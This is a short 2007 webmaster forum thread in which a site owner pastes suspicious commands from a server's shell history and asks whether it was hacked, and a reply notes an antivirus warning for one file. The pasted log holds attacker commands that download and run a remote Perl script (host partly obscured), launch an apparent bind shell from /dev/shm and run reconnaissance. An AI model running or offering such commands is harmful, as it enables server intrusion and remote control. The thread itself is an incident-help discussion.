Welcome to WebmasterWorld Guest from

Forum Moderators: Ocean10000 & phranque

Message Too Old, No Replies


What is this stuff have I been hacked?

3:49 pm on Apr 8, 2007 (gmt 0)

Full Member

10+ Year Member

joined:Oct 6, 2003
votes: 0


I found this stuff in my command shell history. It doesnt look to good. Anyone any idea what it is?

cd /var/tmp;wget www.geocities.com/mozi2***weed/dc;perl dc 3303;echo BLACKARTw;echo BLACKARTid;echo MUIEcd /dev/shm; cd za ; ./zbind ;echo BLACKARTcd /dev/shm; rm -rf telnet.tgz ; cd za ; ls -al ;echo BLACKARTcd /dev/shm; tar zxvf telnet.tgz ; ls -all ;echo BLACKARTcd /dev/shm; wget [geo***cities.com...] ;echo BLACKARTps x ;echo BLACKARTw ;echo BLACKARTid;echo MUIEid;echo MUIE/usr/sbin/apachectl graceful

Hope you can help.

[edited by: jdMorgan at 4:48 pm (utc) on April 8, 2007]
[edit reason] Obscured potentially-dangerous URLs [/edit]

4:05 pm on Apr 8, 2007 (gmt 0)

Preferred Member

10+ Year Member

joined:Oct 30, 2000
votes: 4

telnet.tgz gave me a avira virus warning for [en.wikipedia.org...]